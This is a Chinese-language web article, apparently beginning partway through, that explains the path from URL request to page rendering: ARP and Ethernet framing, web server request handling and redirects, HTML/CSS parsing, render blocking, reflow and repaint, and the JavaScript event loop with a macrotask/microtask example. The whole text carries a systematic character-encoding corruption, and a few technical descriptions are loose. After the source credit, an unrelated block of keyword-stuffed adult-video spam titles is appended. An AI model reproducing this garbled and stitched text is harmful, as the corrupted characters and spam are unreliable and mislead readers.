          關(guān)于 TCP/IP 三次握手,網(wǎng)上已經(jīng)有很多段子和圖片生動地描述了。相關(guān)知識點:
          • SYN 泛洪攻擊

          3. 網(wǎng)絡(luò)層:IP協(xié)議查詢Mac地址

          將數(shù)據(jù)段打包,并加入源及目標(biāo)的IP地址,并且負責(zé)尋找傳輸路線。

          判斷目標(biāo)地址是否與當(dāng)前地址處于同一網(wǎng)絡(luò)中,是的話直接根據(jù) Mac 地址發(fā)送,否則使用路由表查找下一跳地址,以及使用 ARP 協(xié)議查詢它的 Mac 地址。

          注意:在 OSI 參考模型中 ARP 協(xié)議位于鏈路層,但在 TCP/IP 中,它位于網(wǎng)絡(luò)層。

          4. 鏈路層:以太網(wǎng)協(xié)議

          以太網(wǎng)協(xié)議

          根據(jù)以太網(wǎng)協(xié)議將數(shù)據(jù)分為以“幀”為單位的數(shù)據(jù)包,每一幀分為兩個部分:

          • 標(biāo)頭:數(shù)據(jù)包的發(fā)送者、接受者、數(shù)據(jù)類型
          • 數(shù)據(jù):數(shù)據(jù)包具體內(nèi)容

          Mac 地址

          以太網(wǎng)規(guī)定了連入網(wǎng)絡(luò)的所有設(shè)備都必須具備“網(wǎng)卡”接口,數(shù)據(jù)包都是從一塊網(wǎng)卡傳遞到另一塊網(wǎng)卡,網(wǎng)卡的地址就是 Mac 地址。每一個 Mac 地址都是獨一無二的,具備了一對一的能力。

          廣播

          發(fā)送數(shù)據(jù)的方法很原始,直接把數(shù)據(jù)通過 ARP 協(xié)議,向本網(wǎng)絡(luò)的所有機器發(fā)送,接收方根據(jù)標(biāo)頭信息與自身 Mac 地址比較,一致就接受,否則丟棄。

          注意:接收方回應(yīng)是單播。

          相關(guān)知識點:
          • ARP 攻擊

          服務(wù)器接受請求

          接受過程就是把以上步驟逆轉(zhuǎn)過來,參見上圖。

          四、服務(wù)器處理請求

          大致流程

          HTTPD

          最常見的 HTTPD 有 Linux 上常用的 Apache 和 Nginx,以及 Windows 上的 IIS。

          它會監(jiān)聽得到的請求,然后開啟一個子進程去處理這個請求。

          處理請求

          接受 TCP 報文后,會對連接進行處理,對HTTP協(xié)議進行解析(請求方法、域名、路徑等),并且進行一些驗證:

          • 驗證是否配置虛擬主機
          • 驗證虛擬主機是否接受此方法
          • 驗證該用戶可以使用該方法(根據(jù) IP 地址、身份信息等)

          重定向

          假如服務(wù)器配置了 HTTP 重定向,就會返回一個 301永久重定向響應(yīng),瀏覽器就會根據(jù)響應(yīng),重新發(fā)送 HTTP 請求(重新執(zhí)行上面的過程)。

          關(guān)于更多:詳見這篇文章[2]

          URL 重寫

          然后會查看 URL 重寫規(guī)則,如果請求的文件是真實存在的,比如圖片、html、css、js文件等,則會直接把這個文件返回。

          否則服務(wù)器會按照規(guī)則把請求重寫到 一個 REST 風(fēng)格的 URL 上。

          然后根據(jù)動態(tài)語言的腳本,來決定調(diào)用什么類型的動態(tài)文件解釋器來處理這個請求。

          以 PHP 語言的 MVC 框架舉例,它首先會初始化一些環(huán)境的參數(shù),根據(jù) URL 由上到下地去匹配路由,然后讓路由所定義的方法去處理請求。

          五、瀏覽器接受響應(yīng)

          瀏覽器接收到來自服務(wù)器的響應(yīng)資源后,會對資源進行分析。

          首先查看 Response header,根據(jù)不同狀態(tài)碼做不同的事(比如上面提到的重定向)。

          如果響應(yīng)資源進行了壓縮(比如 gzip),還需要進行解壓。

          然后,對響應(yīng)資源做緩存。

          接下來,根據(jù)響應(yīng)資源里的 MIME[3] 類型去解析響應(yīng)內(nèi)容(比如 HTML、Image各有不同的解析方式)。

          六、渲染頁面

          瀏覽器內(nèi)核

          不同的瀏覽器內(nèi)核,渲染過程也不完全相同,但大致流程都差不多。

          基本流程

          6.1. HTML 解析

          首先要知道瀏覽器解析是從上往下一行一行地解析的。

          解析的過程可以分為四個步驟:

          ① 解碼(encoding)

          傳輸回來的其實都是一些二進制字節(jié)數(shù)據(jù),瀏覽器需要根據(jù)文件指定編碼(例如UTF-8)轉(zhuǎn)換成字符串,也就是HTML 代碼。

          ② 預(yù)解析(pre-parsing)

          預(yù)解析做的事情是提前加載資源,減少處理時間,它會識別一些會請求資源的屬性,比如img標(biāo)簽的src屬性,并將這個請求加到請求隊列中。

          ③ 符號化(Tokenization)

          符號化是詞法分析的過程,將輸入解析成符號,HTML 符號包括,開始標(biāo)簽、結(jié)束標(biāo)簽、屬性名和屬性值。

          它通過一個狀態(tài)機去識別符號的狀態(tài),比如遇到<,>狀態(tài)都會產(chǎn)生變化。

          ④ 構(gòu)建樹(tree construction)

          注意:符號化和構(gòu)建樹是并行操作的,也就是說只要解析到一個開始標(biāo)簽,就會創(chuàng)建一個 DOM 節(jié)點。

          在上一步符號化中,解析器獲得這些標(biāo)記,然后以合適的方法創(chuàng)建DOM對象并把這些符號插入到DOM對象中。


          <html><head> <title>Web page parsing</title></head><body> <div> <h1>Web page parsing</h1> <p>This is an example Web page.</p> </div></body></html>
          

          瀏覽器容錯進制

          你從來沒有在瀏覽器看過類似”語法無效”的錯誤,這是因為瀏覽器去糾正錯誤的語法,然后繼續(xù)工作。

          事件

          當(dāng)整個解析的過程完成以后,瀏覽器會通過DOMContentLoaded事件來通知DOM解析完成。

          6.2. CSS 解析

          一旦瀏覽器下載了 CSS,CSS 解析器就會處理它遇到的任何 CSS,根據(jù)語法規(guī)范[4]解析出所有的 CSS 并進行標(biāo)記化,然后我們得到一個規(guī)則表。

          CSS 匹配規(guī)則

          在匹配一個節(jié)點對應(yīng)的 CSS 規(guī)則時,是按照從右到左的順序的,例如:div p { font-size :14px }會先尋找所有的p標(biāo)簽然后判斷它的父元素是否為div。

          所以我們寫 CSS 時,盡量用 id 和 class,千萬不要過度層疊。

          6.3. 渲染樹

          其實這就是一個 DOM 樹和 CSS 規(guī)則樹合并的過程。

          注意:渲染樹會忽略那些不需要渲染的節(jié)點,比如設(shè)置了display:none的節(jié)點。

          計算

          通過計算讓任何尺寸值都減少到三個可能之一:auto、百分比、px,比如把rem轉(zhuǎn)化為px。

          級聯(lián)

          瀏覽器需要一種方法來確定哪些樣式才真正需要應(yīng)用到對應(yīng)元素,所以它使用一個叫做specificity的公式,這個公式會通過:

          1. 標(biāo)簽名、class、id
          2. 是否內(nèi)聯(lián)樣式
          3. !important

          然后得出一個權(quán)重值,取最高的那個。

          渲染阻塞

          當(dāng)遇到一個script標(biāo)簽時,DOM 構(gòu)建會被暫停,直至腳本完成執(zhí)行,然后繼續(xù)構(gòu)建 DOM 樹。

          但如果 JS 依賴 CSS 樣式,而它還沒有被下載和構(gòu)建時,瀏覽器就會延遲腳本執(zhí)行,直至 CSS Rules 被構(gòu)建。

          所有我們知道:

          • CSS 會阻塞 JS 執(zhí)行
          • JS 會阻塞后面的 DOM 解析

          為了避免這種情況,應(yīng)該以下原則:

          • CSS 資源排在 JavaScript 資源前面
          • JS 放在 HTML 最底部,也就是 </body>前

          另外,如果要改變阻塞模式,可以使用 defer 與 async,詳見:這篇文章[5]

          6.4. 布局與繪制

          確定渲染樹種所有節(jié)點的幾何屬性,比如:位置、大小等等,最后輸入一個盒子模型,它能精準(zhǔn)地捕獲到每個元素在屏幕內(nèi)的準(zhǔn)確位置與大小。

          然后遍歷渲染樹,調(diào)用渲染器的 paint() 方法在屏幕上顯示其內(nèi)容。

          6.5. 合并渲染層

          把以上繪制的所有圖片合并,最終輸出一張圖片。

          6.6. 回流與重繪

          回流(reflow)

          當(dāng)瀏覽器發(fā)現(xiàn)某個部分發(fā)現(xiàn)變化影響了布局時,需要倒回去重新渲染,會從html標(biāo)簽開始遞歸往下,重新計算位置和大小。

          reflow基本是無法避免的,因為當(dāng)你滑動一下鼠標(biāo)、resize 窗口,頁面就會產(chǎn)生變化。

          重繪(repaint)

          改變了某個元素的背景色、文字顏色等等不會影響周圍元素的位置變化時,就會發(fā)生重繪。

          每次重繪后,瀏覽器還需要合并渲染層并輸出到屏幕上。

          回流的成本要比重繪高很多,所以我們應(yīng)該盡量避免產(chǎn)生回流。

          比如:

          • display:none 會觸發(fā)回流,而 visibility:hidden 只會觸發(fā)重繪。

          6.7. JavaScript 編譯執(zhí)行

          大致流程

          可以分為三個階段:

          1. 詞法分析

          JS 腳本加載完畢后,會首先進入語法分析階段,它首先會分析代碼塊的語法是否正確,不正確則拋出“語法錯誤”,停止執(zhí)行。

          幾個步驟:

          • 分詞,例如將var a = 2,,分成var、a、=、2這樣的詞法單元。
          • 解析,將詞法單元轉(zhuǎn)換成抽象語法樹(AST)。
          • 代碼生成,將抽象語法樹轉(zhuǎn)換成機器指令。

          2. 預(yù)編譯

          JS 有三種運行環(huán)境:

          • 全局環(huán)境
          • 函數(shù)環(huán)境
          • eval

          每進入一個不同的運行環(huán)境都會創(chuàng)建一個對應(yīng)的執(zhí)行上下文,根據(jù)不同的上下文環(huán)境,形成一個函數(shù)調(diào)用棧,棧底永遠是全局執(zhí)行上下文,棧頂則永遠是當(dāng)前執(zhí)行上下文。

          創(chuàng)建執(zhí)行上下文

          創(chuàng)建執(zhí)行上下文的過程中,主要做了以下三件事:

          • 創(chuàng)建變量對象
          • 參數(shù)、函數(shù)、變量
          • 建立作用域鏈
          • 確認(rèn)當(dāng)前執(zhí)行環(huán)境是否能訪問變量
          • 確定 This 指向

          3. 執(zhí)行

          JS 線程

          雖然 JS 是單線程的,但實際上參與工作的線程一共有四個:

          其中三個只是協(xié)助,只有 JS 引擎線程是真正執(zhí)行的

          • JS 引擎線程:也叫 JS 內(nèi)核,負責(zé)解析執(zhí)行 JS 腳本程序的主線程,例如 V8 引擎
          • 事件觸發(fā)線程:屬于瀏覽器內(nèi)核線程,主要用于控制事件,例如鼠標(biāo)、鍵盤等,當(dāng)事件被觸發(fā)時,就會把事件的處理函數(shù)推進事件隊列,等待 JS 引擎線程執(zhí)行
          • 定時器觸發(fā)線程:主要控制setInterval和setTimeout,用來計時,計時完畢后,則把定時器的處理函數(shù)推進事件隊列中,等待 JS 引擎線程。
          • HTTP 異步請求線程:通過XMLHttpRequest連接后,通過瀏覽器新開的一個線程,監(jiān)控readyState狀態(tài)變更時,如果設(shè)置了該狀態(tài)的回調(diào)函數(shù),則將該狀態(tài)的處理函數(shù)推進事件隊列中,等待JS引擎線程執(zhí)行。

          注:瀏覽器對同一域名的并發(fā)連接數(shù)是有限的,通常為 6 個。

          宏任務(wù)

          分為:

          • 同步任務(wù):按照順序執(zhí)行,只有前一個任務(wù)完成后,才能執(zhí)行后一個任務(wù)
          • 異步任務(wù):不直接執(zhí)行,只有滿足觸發(fā)條件時,相關(guān)的線程將該異步任務(wù)推進任務(wù)隊列中,等待JS引擎主線程上的任務(wù)執(zhí)行完畢時才開始執(zhí)行,例如異步Ajax、DOM事件,setTimeout等。

          微任務(wù)

          微任務(wù)是ES6和Node環(huán)境下的,主要 API 有:Promise,process.nextTick。

          微任務(wù)的執(zhí)行在宏任務(wù)的同步任務(wù)之后,在異步任務(wù)之前。

          代碼例子


          console.log('1'); // 宏任務(wù) 同步
          setTimeout(function() { console.log('2'); // 宏任務(wù) 異步})
          new Promise(function(resolve) { console.log('3'); // 宏任務(wù) 同步 resolve();}).then(function() { console.log('4') // 微任務(wù)})
          console.log('5') // 宏任務(wù) 同步
          

          以上代碼輸出順序為:1,3,5,4,2

          來源:4ark.me/post/b6c7c0a2.html,侵刪


          主站蜘蛛池模板: 成人区人妻精品一区二区不卡视频| 99精品国产一区二区三区2021 | 香蕉久久ac一区二区三区| 无码国产伦一区二区三区视频 | 中文字幕一区在线播放| 日韩免费无码一区二区三区| 精品人妻少妇一区二区三区不卡| 四虎精品亚洲一区二区三区| 久久99精品国产一区二区三区 | 美女一区二区三区| 精品国产日产一区二区三区| 国产主播一区二区三区| 久久国产精品免费一区| 91一区二区在线观看精品| 精品在线视频一区| 亚洲国产成人久久一区WWW | 国产福利91精品一区二区| 日韩精品中文字幕视频一区| 无码精品人妻一区二区三区免费看 | 一区二区三区免费精品视频| 国产免费一区二区三区在线观看| 国产福利微拍精品一区二区| 中文字幕在线播放一区| 麻豆国产在线不卡一区二区| 色综合视频一区二区三区44| 久久无码人妻一区二区三区午夜| 动漫精品专区一区二区三区不卡| 亚洲午夜一区二区电影院| 国模吧无码一区二区三区| 视频一区二区中文字幕| 国产大秀视频一区二区三区 | 日韩成人无码一区二区三区| 国精产品一区一区三区| 国产精品一区二区无线| 日韩精品一区二区三区中文精品| 无码人妻品一区二区三区精99| 一区二区免费电影| 成人一区二区免费视频| 奇米精品一区二区三区在线观看| 北岛玲在线一区二区| 怡红院美国分院一区二区|